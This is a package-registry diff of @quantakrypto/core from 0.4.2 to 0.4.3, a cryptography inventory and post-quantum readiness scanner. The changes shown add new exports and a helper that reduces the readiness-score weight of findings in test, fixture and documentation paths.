@quantakrypto/core 0.4.2 → 0.4.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +201 -0
- package/README.md +38 -10
- package/dist/agent-types.js.map +1 -1
- package/dist/baseline.js.map +1 -1
- package/dist/cache.js.map +1 -1
- package/dist/cbom.js.map +1 -1
- package/dist/changed.js.map +1 -1
- package/dist/codemods/config-toggle.js.map +1 -1
- package/dist/codemods/registry.js.map +1 -1
- package/dist/comments.d.ts +26 -0
- package/dist/comments.d.ts.map +1 -1
- package/dist/comments.js +141 -1
- package/dist/comments.js.map +1 -1
- package/dist/config.js.map +1 -1
- package/dist/cwe.js.map +1 -1
- package/dist/dependencies.d.ts +3 -2
- package/dist/dependencies.d.ts.map +1 -1
- package/dist/dependencies.js +138 -2
- package/dist/dependencies.js.map +1 -1
- package/dist/detect-utils.d.ts +14 -3
- package/dist/detect-utils.d.ts.map +1 -1
- package/dist/detect-utils.js +32 -4
- package/dist/detect-utils.js.map +1 -1
- package/dist/detectors/c.d.ts.map +1 -1
- package/dist/detectors/c.js +190 -2
- package/dist/detectors/c.js.map +1 -1
- package/dist/detectors/csharp.d.ts.map +1 -1
- package/dist/detectors/csharp.js +141 -3
- package/dist/detectors/csharp.js.map +1 -1
- package/dist/detectors/go.d.ts +5 -3
- package/dist/detectors/go.d.ts.map +1 -1
- package/dist/detectors/go.js +187 -3
- package/dist/detectors/go.js.map +1 -1
- package/dist/detectors/java.d.ts.map +1 -1
- package/dist/detectors/java.js +168 -3
- package/dist/detectors/java.js.map +1 -1
- package/dist/detectors/pem.d.ts.map +1 -1
- package/dist/detectors/pem.js +49 -1
- package/dist/detectors/pem.js.map +1 -1
- package/dist/detectors/python.d.ts.map +1 -1
- package/dist/detectors/python.js +74 -3
- package/dist/detectors/python.js.map +1 -1
- package/dist/detectors/ruby.d.ts +9 -5
- package/dist/detectors/ruby.d.ts.map +1 -1
- package/dist/detectors/ruby.js +122 -2
- package/dist/detectors/ruby.js.map +1 -1
- package/dist/detectors/rust.d.ts +8 -3
- package/dist/detectors/rust.d.ts.map +1 -1
- package/dist/detectors/rust.js +185 -3
- package/dist/detectors/rust.js.map +1 -1
- package/dist/detectors/source.d.ts.map +1 -1
- package/dist/detectors/source.js +117 -7
- package/dist/detectors/source.js.map +1 -1
- package/dist/detectors/stateful-hbs.d.ts +22 -0
- package/dist/detectors/stateful-hbs.d.ts.map +1 -0
- package/dist/detectors/stateful-hbs.js +139 -0
- package/dist/detectors/stateful-hbs.js.map +1 -0
- package/dist/errors.js.map +1 -1
- package/dist/evidence.d.ts +48 -0
- package/dist/evidence.d.ts.map +1 -0
- package/dist/evidence.js +76 -0
- package/dist/evidence.js.map +1 -0
- package/dist/index.d.ts +4 -2
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +4 -2
- package/dist/index.js.map +1 -1
- package/dist/inventory.d.ts +2 -0
- package/dist/inventory.d.ts.map +1 -1
- package/dist/inventory.js +27 -1
- package/dist/inventory.js.map +1 -1
- package/dist/parallel.js.map +1 -1
- package/dist/patch-policy.js.map +1 -1
- package/dist/redact.d.ts.map +1 -1
- package/dist/redact.js +39 -0
- package/dist/redact.js.map +1 -1
- package/dist/registry.d.ts +2 -2
- package/dist/registry.d.ts.map +1 -1
- package/dist/registry.js +4 -2
- package/dist/registry.js.map +1 -1
- package/dist/remediate-pipeline.d.ts +3 -0
- package/dist/remediate-pipeline.d.ts.map +1 -1
- package/dist/remediate-pipeline.js +50 -0
- package/dist/remediate-pipeline.js.map +1 -1
- package/dist/remediate-request.js.map +1 -1
- package/dist/remediation.d.ts +9 -3
- package/dist/remediation.d.ts.map +1 -1
- package/dist/remediation.js +17 -5
- package/dist/remediation.js.map +1 -1
- package/dist/report.d.ts +9 -0
- package/dist/report.d.ts.map +1 -1
- package/dist/report.js +31 -0
- package/dist/report.js.map +1 -1
- package/dist/scan-worker.js.map +1 -1
- package/dist/scan.d.ts.map +1 -1
- package/dist/scan.js +8 -1
- package/dist/scan.js.map +1 -1
- package/dist/severity.js.map +1 -1
- package/dist/triage.js.map +1 -1
- package/dist/types.d.ts +1 -1
- package/dist/types.d.ts.map +1 -1
- package/dist/types.js.map +1 -1
- package/dist/verify.js.map +1 -1
- package/dist/version.d.ts +1 -1
- package/dist/version.js +1 -1
- package/dist/version.js.map +1 -1
- package/dist/walk.js.map +1 -1
- package/dist/worktree.js.map +1 -1
- package/package.json +1 -1
- package/src/comments.ts +140 -1
- package/src/dependencies.ts +143 -4
- package/src/detect-utils.ts +33 -4
- package/src/detectors/c.ts +202 -2
- package/src/detectors/csharp.ts +154 -3
- package/src/detectors/go.ts +209 -6
- package/src/detectors/java.ts +189 -3
- package/src/detectors/pem.ts +53 -1
- package/src/detectors/python.ts +82 -3
- package/src/detectors/ruby.ts +138 -7
- package/src/detectors/rust.ts +211 -7
- package/src/detectors/source.ts +149 -6
- package/src/detectors/stateful-hbs.ts +177 -0
- package/src/evidence.ts +124 -0
- package/src/index.ts +5 -1
- package/src/inventory.ts +31 -1
- package/src/redact.ts +41 -0
- package/src/registry.ts +4 -2
- package/src/remediate-pipeline.ts +55 -0
- package/src/remediation.ts +23 -8
- package/src/report.ts +41 -2
- package/src/scan.ts +13 -1
- package/src/types.ts +1 -1
- package/src/version.ts +1 -1
package/dist/index.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"index.js","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAAA;;;;;;;;GAQG;AACH,cAAc,YAAY,CAAC;AAE3B,qEAAqE;AACrE,OAAO,EAAE,OAAO,EAAE,MAAM,cAAc,CAAC;AAKvC,8CAA8C;AAC9C,OAAO,EAAE,IAAI,EAAE,SAAS,EAAE,UAAU,EAAE,eAAe,EAAE,MAAM,WAAW,CAAC;AAEzE,2EAA2E;AAC3E,OAAO,EAAE,SAAS,EAAE,mBAAmB,EAAE,MAAM,aAAa,CAAC;AAW7D,OAAO,EAAE,YAAY,EAAE,eAAe,EAAE,MAAM,aAAa,CAAC;AAC5D,OAAO,EAAE,aAAa,EAAE,qBAAqB,EAAE,kBAAkB,EAAE,MAAM,aAAa,CAAC;AAEvF,OAAO,EACL,gBAAgB,EAChB,kBAAkB,EAClB,qBAAqB,GACtB,MAAM,wBAAwB,CAAC;AAEhC,OAAO,EAAE,gBAAgB,EAAE,MAAM,mBAAmB,CAAC;AAErD,OAAO,EAAE,YAAY,EAAE,MAAM,eAAe,CAAC;AAC7C,OAAO,EAAE,eAAe,EAAE,UAAU,EAAE,MAAM,wBAAwB,CAAC;AAErE,OAAO,EAAE,mBAAmB,EAAE,MAAM,6BAA6B,CAAC;AAClE,OAAO,EAAE,iBAAiB,EAAE,MAAM,yBAAyB,CAAC;AAQ5D,0CAA0C;AAC1C,OAAO,EAAE,UAAU,EAAE,mBAAmB,EAAE,MAAM,aAAa,CAAC;AAE9D,sEAAsE;AACtE,OAAO,EAAE,YAAY,EAAE,iBAAiB,EAAE,YAAY,EAAE,MAAM,eAAe,CAAC;AAG9E,iEAAiE;AACjE,OAAO,EAAE,gBAAgB,EAAE,eAAe,EAAE,aAAa,EAAE,MAAM,eAAe,CAAC;AAGjF,qDAAqD;AACrD,OAAO,EACL,kBAAkB,EAClB,oBAAoB,EACpB,aAAa,EACb,YAAY,EACZ,YAAY,EACZ,gBAAgB,GACjB,MAAM,eAAe,CAAC;AAGvB,oEAAoE;AACpE,OAAO,EAAE,YAAY,EAAE,MAAM,cAAc,CAAC;AAE5C,yEAAyE;AACzE,OAAO,EAAE,UAAU,EAAE,WAAW,EAAE,eAAe,EAAE,MAAM,aAAa,CAAC;AAGvE,kFAAkF;AAClF,OAAO,EAAE,SAAS,EAAE,YAAY,EAAE,eAAe,EAAE,aAAa,EAAE,MAAM,WAAW,CAAC;AAEpF,8EAA8E;AAC9E,OAAO,EACL,kBAAkB,EAClB,4BAA4B,EAC5B,0BAA0B,GAC3B,MAAM,mBAAmB,CAAC;AAE3B,+BAA+B;AAC/B,OAAO,EAAE,cAAc,EAAE,MAAM,gBAAgB,CAAC;AAEhD,sFAAsF;AACtF,6EAA6E;AAC7E,gFAAgF;AAChF,OAAO,EAAE,sBAAsB,EAAE,mBAAmB,EAAE,cAAc,EAAE,MAAM,mBAAmB,CAAC;AAEhG,+EAA+E;AAC/E,OAAO,EAAE,cAAc,EAAE,YAAY,EAAE,cAAc,EAAE,UAAU,EAAE,MAAM,eAAe,CAAC;AAEzF,aAAa;AACb,OAAO,EAAE,OAAO,EAAE,MAAM,EAAE,aAAa,EAAE,MAAM,aAAa,CAAC;
|
|
1
|
+
{"version":3,"file":"index.js","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAAA;;;;;;;;GAQG;AACH,cAAc,YAAY,CAAC;AAE3B,qEAAqE;AACrE,OAAO,EAAE,OAAO,EAAE,MAAM,cAAc,CAAC;AAKvC,8CAA8C;AAC9C,OAAO,EAAE,IAAI,EAAE,SAAS,EAAE,UAAU,EAAE,eAAe,EAAE,MAAM,WAAW,CAAC;AAEzE,2EAA2E;AAC3E,OAAO,EAAE,SAAS,EAAE,mBAAmB,EAAE,MAAM,aAAa,CAAC;AAW7D,OAAO,EAAE,YAAY,EAAE,eAAe,EAAE,MAAM,aAAa,CAAC;AAC5D,OAAO,EAAE,aAAa,EAAE,qBAAqB,EAAE,kBAAkB,EAAE,MAAM,aAAa,CAAC;AAEvF,OAAO,EACL,gBAAgB,EAChB,kBAAkB,EAClB,qBAAqB,GACtB,MAAM,wBAAwB,CAAC;AAEhC,OAAO,EAAE,gBAAgB,EAAE,MAAM,mBAAmB,CAAC;AAErD,OAAO,EAAE,YAAY,EAAE,MAAM,eAAe,CAAC;AAC7C,OAAO,EAAE,eAAe,EAAE,UAAU,EAAE,MAAM,wBAAwB,CAAC;AAErE,OAAO,EAAE,mBAAmB,EAAE,MAAM,6BAA6B,CAAC;AAClE,OAAO,EAAE,iBAAiB,EAAE,MAAM,yBAAyB,CAAC;AAQ5D,0CAA0C;AAC1C,OAAO,EAAE,UAAU,EAAE,mBAAmB,EAAE,MAAM,aAAa,CAAC;AAE9D,sEAAsE;AACtE,OAAO,EAAE,YAAY,EAAE,iBAAiB,EAAE,YAAY,EAAE,MAAM,eAAe,CAAC;AAG9E,iEAAiE;AACjE,OAAO,EAAE,gBAAgB,EAAE,eAAe,EAAE,aAAa,EAAE,MAAM,eAAe,CAAC;AAGjF,qDAAqD;AACrD,OAAO,EACL,kBAAkB,EAClB,oBAAoB,EACpB,aAAa,EACb,YAAY,EACZ,YAAY,EACZ,gBAAgB,GACjB,MAAM,eAAe,CAAC;AAGvB,oEAAoE;AACpE,OAAO,EAAE,YAAY,EAAE,MAAM,cAAc,CAAC;AAE5C,yEAAyE;AACzE,OAAO,EAAE,UAAU,EAAE,WAAW,EAAE,eAAe,EAAE,MAAM,aAAa,CAAC;AAGvE,kFAAkF;AAClF,OAAO,EAAE,SAAS,EAAE,YAAY,EAAE,eAAe,EAAE,aAAa,EAAE,MAAM,WAAW,CAAC;AAEpF,8EAA8E;AAC9E,OAAO,EACL,kBAAkB,EAClB,4BAA4B,EAC5B,0BAA0B,GAC3B,MAAM,mBAAmB,CAAC;AAE3B,+BAA+B;AAC/B,OAAO,EAAE,cAAc,EAAE,MAAM,gBAAgB,CAAC;AAEhD,sFAAsF;AACtF,6EAA6E;AAC7E,gFAAgF;AAChF,OAAO,EAAE,sBAAsB,EAAE,mBAAmB,EAAE,cAAc,EAAE,MAAM,mBAAmB,CAAC;AAEhG,+EAA+E;AAC/E,OAAO,EAAE,cAAc,EAAE,YAAY,EAAE,cAAc,EAAE,UAAU,EAAE,MAAM,eAAe,CAAC;AAEzF,aAAa;AACb,OAAO,EAAE,OAAO,EAAE,MAAM,EAAE,aAAa,EAAE,kBAAkB,EAAE,MAAM,aAAa,CAAC;AAGjF,+DAA+D;AAC/D,OAAO,EAAE,MAAM,EAAE,MAAM,WAAW,CAAC;AAEnC,wDAAwD;AACxD,OAAO,EAAE,oBAAoB,EAAE,MAAM,eAAe,CAAC;AAGrD,sEAAsE;AACtE,OAAO,EACL,cAAc,EACd,kBAAkB,EAClB,WAAW,EACX,iBAAiB,EACjB,mBAAmB,EACnB,kBAAkB,GACnB,MAAM,kBAAkB,CAAC;AAG1B,4BAA4B;AAC5B,OAAO,EACL,iBAAiB,EACjB,iBAAiB,EACjB,mBAAmB,EACnB,iBAAiB,EACjB,mBAAmB,GACpB,MAAM,UAAU,CAAC","sourcesContent":["/**\n * @quantakrypto/core — public API (LOCKED CONTRACT).\n *\n * The exported NAMES and SIGNATURES below are the stable contract that\n * @quantakrypto/qscan, @quantakrypto/mcp and the GitHub Action depend on — do not change\n * them without updating all consumers. The implementations live in focused\n * modules under src/ and are re-exported here; the public surface is identical\n * to the original stub file.\n */\nexport * from \"./types.js\";\n\n// Tool version, surfaced in reports. Keep in sync with package.json.\nexport { VERSION } from \"./version.js\";\n\n// Minimal SARIF 2.1.0 log shape, defined alongside the reporters.\nexport type { SarifLog } from \"./report.js\";\n\n// Core orchestration + built-in detector set.\nexport { scan, detectors, detectFile, compareFindings } from \"./scan.js\";\n\n// Snippet-level fix verification (shared by MCP verify_fix + remediation).\nexport { verifyFix, languageToExtension } from \"./verify.js\";\nexport type { VerifyResult } from \"./verify.js\";\n\n// Agent-plane shared types + the context redactor (offline; reused by MCP).\nexport type {\n ContextLevel,\n RedactedContext,\n TriageVerdict,\n Patch,\n FixProposal,\n} from \"./agent-types.js\";\nexport { buildContext, renderPreflight } from \"./redact.js\";\nexport { TRIAGE_RUBRIC, TRIAGE_VERDICT_SCHEMA, buildTriageRequest } from \"./triage.js\";\nexport type { TriageRequest } from \"./triage.js\";\nexport {\n REMEDIATE_RUBRIC,\n FIX_REQUEST_SCHEMA,\n buildRemediateRequest,\n} from \"./remediate-request.js\";\nexport type { RemediateRequest } from \"./remediate-request.js\";\nexport { checkPatchPolicy } from \"./patch-policy.js\";\nexport type { PolicyContext, PolicyDecision } from \"./patch-policy.js\";\nexport { withWorktree } from \"./worktree.js\";\nexport { codemodRegistry, codemodFor } from \"./codemods/registry.js\";\nexport type { Codemod } from \"./codemods/registry.js\";\nexport { configToggleCodemod } from \"./codemods/config-toggle.js\";\nexport { remediateFindings } from \"./remediate-pipeline.js\";\nexport type {\n RemediateOptions,\n RemediationResult,\n VerifiedPatch,\n RejectedPatch,\n} from \"./remediate-pipeline.js\";\n\n// Scan cancellation / work-budget errors.\nexport { AbortError, BudgetExceededError } from \"./errors.js\";\n\n// Parallel scanning (worker_threads pool) + pure merge/chunk helpers.\nexport { scanParallel, mergeChunkResults, chunkByBytes } from \"./parallel.js\";\nexport type { ScanChunk, ChunkResult, SizedFile } from \"./parallel.js\";\n\n// Detector registry (plugin point) + helpers + the rule catalog.\nexport { DetectorRegistry, defaultRegistry, detectorScope } from \"./registry.js\";\nexport type { RuleCatalogEntry } from \"./registry.js\";\n\n// Canonical baseline (shared by qScan + the Action).\nexport {\n fingerprintFinding,\n baselineFromFindings,\n applyBaseline,\n loadBaseline,\n saveBaseline,\n BASELINE_VERSION,\n} from \"./baseline.js\";\nexport type { Baseline } from \"./baseline.js\";\n\n// Incremental scanning: changed-files helper (git-aware, tolerant).\nexport { changedFiles } from \"./changed.js\";\n\n// Optional `quantakrypto.config.json` loader (P2-9; see docs/CONFIG.md).\nexport { loadConfig, ConfigError, CONFIG_FILENAME } from \"./config.js\";\nexport type { QuantakryptoFileConfig, LoadConfigResult } from \"./config.js\";\n\n// Filesystem walker (relative POSIX paths, default ignores, size/binary filters).\nexport { walkFiles, isBinaryPath, isGeneratedPath, looksMinified } from \"./walk.js\";\n\n// Analyzable-language coverage (which source languages the scanner inspects).\nexport {\n isAnalyzableSource,\n ANALYZABLE_SOURCE_EXTENSIONS,\n ANALYZABLE_LANGUAGES_LABEL,\n} from \"./detect-utils.js\";\n\n// Inventory + readiness score.\nexport { buildInventory } from \"./inventory.js\";\n\n// Vulnerable-dependency database (the manifest scanner is used internally by scan()).\n// `DEP_VULNERABLE_RULE` is the generic catalog entry for dependency findings\n// (which don't come from a Detector, so aren't in the registry's rule catalog).\nexport { vulnerableDependencies, DEP_VULNERABLE_RULE, isManifestFile } from \"./dependencies.js\";\n\n// Severity utilities (ordering, threshold, SARIF level) — shared across tools.\nexport { SEVERITY_ORDER, severityRank, meetsThreshold, sarifLevel } from \"./severity.js\";\n\n// Reporters.\nexport { toSarif, toJson, formatSummary, formatTierGuidance } from \"./report.js\";\nexport type { ReportOptions } from \"./report.js\";\n\n// CycloneDX 1.6 cryptographic bill of materials (CBOM) export.\nexport { toCbom } from \"./cbom.js\";\nexport type { CycloneDxBom, CbomComponent } from \"./cbom.js\";\n// ISO/IEC 27001 A.8.24 evidence-chain readiness report.\nexport { buildReadinessReport } from \"./evidence.js\";\nexport type { ReadinessReport, EvidenceFinding, ReadinessReportOptions } from \"./evidence.js\";\n\n// Remediation lookup (family + tier-aware) and stateful-HBS guidance.\nexport {\n remediationFor,\n remediationForTier,\n TIER_PARAMS,\n STATEFUL_HBS_NOTE,\n PQC_TRANSITION_NOTE,\n statefulHbsApplies,\n} from \"./remediation.js\";\nexport type { SecurityTier } from \"./remediation.js\";\n\n// CWE identifier constants.\nexport {\n CWE_BROKEN_CRYPTO,\n CWE_WEAK_STRENGTH,\n CWE_CERT_VALIDATION,\n CWE_HARDCODED_KEY,\n CWE_RISKY_PRIMITIVE,\n} from \"./cwe.js\";\n"]}
|
package/dist/inventory.d.ts
CHANGED
|
@@ -4,6 +4,8 @@
|
|
|
4
4
|
* and a 0–100 readiness score.
|
|
5
5
|
*/
|
|
6
6
|
import type { CryptoInventory, Finding } from "./types.js";
|
|
7
|
+
/** True when a finding's file path is test / fixture / example / documentation. */
|
|
8
|
+
export declare function isTestOrFixturePath(file: string): boolean;
|
|
7
9
|
/**
|
|
8
10
|
* Compute a 0–100 readiness score. 100 means no classical asymmetric crypto was
|
|
9
11
|
* found. Findings accrue a severity-weighted penalty (with per-bucket diminishing
|
package/dist/inventory.d.ts.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"inventory.d.ts","sourceRoot":"","sources":["../src/inventory.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AACH,OAAO,KAAK,EAEV,eAAe,EACf,OAAO,EAGR,MAAM,YAAY,CAAC;
|
|
1
|
+
{"version":3,"file":"inventory.d.ts","sourceRoot":"","sources":["../src/inventory.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AACH,OAAO,KAAK,EAEV,eAAe,EACf,OAAO,EAGR,MAAM,YAAY,CAAC;AAsCpB,mFAAmF;AACnF,wBAAgB,mBAAmB,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAczD;AAED;;;;;;;GAOG;AACH,wBAAgB,cAAc,CAAC,QAAQ,EAAE,OAAO,EAAE,GAAG,MAAM,CAoB1D;AAED,+EAA+E;AAC/E,wBAAgB,cAAc,CAAC,QAAQ,EAAE,OAAO,EAAE,GAAG,eAAe,CAgCnE"}
|
package/dist/inventory.js
CHANGED
|
@@ -19,6 +19,31 @@ function penaltyFor(weight, occurrence) {
|
|
|
19
19
|
}
|
|
20
20
|
/** Decay constant for the readiness score (larger = more forgiving). */
|
|
21
21
|
const SCORE_SCALE = 100;
|
|
22
|
+
/**
|
|
23
|
+
* Fraction of the normal penalty a finding in test/fixture/example/doc code
|
|
24
|
+
* contributes to the readiness score. Such findings are almost always test
|
|
25
|
+
* vectors, sample keys, or the library's own algorithm enumerations — accurate
|
|
26
|
+
* detections, but not the deployed crypto whose migration the score is meant to
|
|
27
|
+
* track. Real-repo runs showed 60–77% of findings live in these paths, which
|
|
28
|
+
* dragged the score of no-real-crypto codebases down unfairly. They still appear
|
|
29
|
+
* in the inventory counts in full; only their *score* weight is reduced.
|
|
30
|
+
*/
|
|
31
|
+
const TEST_PATH_WEIGHT = 0.15;
|
|
32
|
+
/** True when a finding's file path is test / fixture / example / documentation. */
|
|
33
|
+
export function isTestOrFixturePath(file) {
|
|
34
|
+
const f = file.toLowerCase().replace(/\\/g, "/");
|
|
35
|
+
if (/(?:^|\/)(?:tests?|__tests__|testdata|test-data|fixtures?|examples?|demos?|samples?|specs?|mocks?|docs?|benchmarks?|e2e)\//.test(f)) {
|
|
36
|
+
return true;
|
|
37
|
+
}
|
|
38
|
+
const base = f.slice(f.lastIndexOf("/") + 1);
|
|
39
|
+
if (/(?:^|[_.-])(?:test|spec)\.[a-z0-9]+$/.test(base))
|
|
40
|
+
return true; // test.go, foo_test.go, foo.test.ts
|
|
41
|
+
if (/^test_[^/]+\.py$/.test(base))
|
|
42
|
+
return true; // python test_foo.py
|
|
43
|
+
if (/^changelog/.test(base) || /\.(?:md|markdown|rst|adoc|asciidoc)$/.test(base))
|
|
44
|
+
return true;
|
|
45
|
+
return false;
|
|
46
|
+
}
|
|
22
47
|
/**
|
|
23
48
|
* Compute a 0–100 readiness score. 100 means no classical asymmetric crypto was
|
|
24
49
|
* found. Findings accrue a severity-weighted penalty (with per-bucket diminishing
|
|
@@ -40,7 +65,8 @@ export function readinessScore(findings) {
|
|
|
40
65
|
let penalty = 0;
|
|
41
66
|
for (const f of findings) {
|
|
42
67
|
seen[f.severity] += 1;
|
|
43
|
-
|
|
68
|
+
const weight = SEVERITY_WEIGHT[f.severity] * (isTestOrFixturePath(f.location.file) ? TEST_PATH_WEIGHT : 1);
|
|
69
|
+
penalty += penaltyFor(weight, seen[f.severity]);
|
|
44
70
|
}
|
|
45
71
|
return Math.max(0, Math.min(100, Math.round(100 * Math.exp(-penalty / SCORE_SCALE))));
|
|
46
72
|
}
|
package/dist/inventory.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"inventory.js","sourceRoot":"","sources":["../src/inventory.ts"],"names":[],"mappings":"AAaA,4EAA4E;AAC5E,MAAM,UAAU,GAAe,CAAC,UAAU,EAAE,MAAM,EAAE,QAAQ,EAAE,KAAK,EAAE,MAAM,CAAC,CAAC;AAE7E,uFAAuF;AACvF,MAAM,eAAe,GAA6B;IAChD,QAAQ,EAAE,EAAE;IACZ,IAAI,EAAE,EAAE;IACR,MAAM,EAAE,CAAC;IACT,GAAG,EAAE,CAAC;IACN,IAAI,EAAE,CAAC;CACR,CAAC;AAEF;;;;;GAKG;AACH,SAAS,UAAU,CAAC,MAAc,EAAE,UAAkB;IACpD,OAAO,MAAM,GAAG,IAAI,CAAC,IAAI,CAAC,UAAU,CAAC,CAAC;AACxC,CAAC;AAED,wEAAwE;AACxE,MAAM,WAAW,GAAG,GAAG,CAAC;AAExB;;;;;;;GAOG;AACH,MAAM,UAAU,cAAc,CAAC,QAAmB;IAChD,IAAI,QAAQ,CAAC,MAAM,KAAK,CAAC;QAAE,OAAO,GAAG,CAAC;IAEtC,MAAM,IAAI,GAA6B;QACrC,QAAQ,EAAE,CAAC;QACX,IAAI,EAAE,CAAC;QACP,MAAM,EAAE,CAAC;QACT,GAAG,EAAE,CAAC;QACN,IAAI,EAAE,CAAC;KACR,CAAC;IAEF,IAAI,OAAO,GAAG,CAAC,CAAC;IAChB,KAAK,MAAM,CAAC,IAAI,QAAQ,EAAE,CAAC;QACzB,IAAI,CAAC,CAAC,CAAC,QAAQ,CAAC,IAAI,CAAC,CAAC;QACtB,
|
|
1
|
+
{"version":3,"file":"inventory.js","sourceRoot":"","sources":["../src/inventory.ts"],"names":[],"mappings":"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","sourcesContent":["/**\n * Aggregates findings into a {@link CryptoInventory}: per-algorithm,\n * per-category and per-severity counts, the harvest-now-decrypt-later count,\n * and a 0–100 readiness score.\n */\nimport type {\n AlgorithmFamily,\n CryptoInventory,\n Finding,\n FindingCategory,\n Severity,\n} from \"./types.js\";\n\n/** All severities, most → least severe (used to seed the counts record). */\nconst SEVERITIES: Severity[] = [\"critical\", \"high\", \"medium\", \"low\", \"info\"];\n\n/** Base penalty applied to the readiness score for the first finding of a severity. */\nconst SEVERITY_WEIGHT: Record<Severity, number> = {\n critical: 30,\n high: 18,\n medium: 8,\n low: 3,\n info: 1,\n};\n\n/**\n * Apply diminishing returns to repeated findings of the same severity: the Nth\n * finding contributes `weight / sqrt(N)`. This keeps a single critical hit very\n * impactful while a codebase with hundreds of medium findings doesn't underflow\n * past zero on the first few — the score still saturates toward 0 sensibly.\n */\nfunction penaltyFor(weight: number, occurrence: number): number {\n return weight / Math.sqrt(occurrence);\n}\n\n/** Decay constant for the readiness score (larger = more 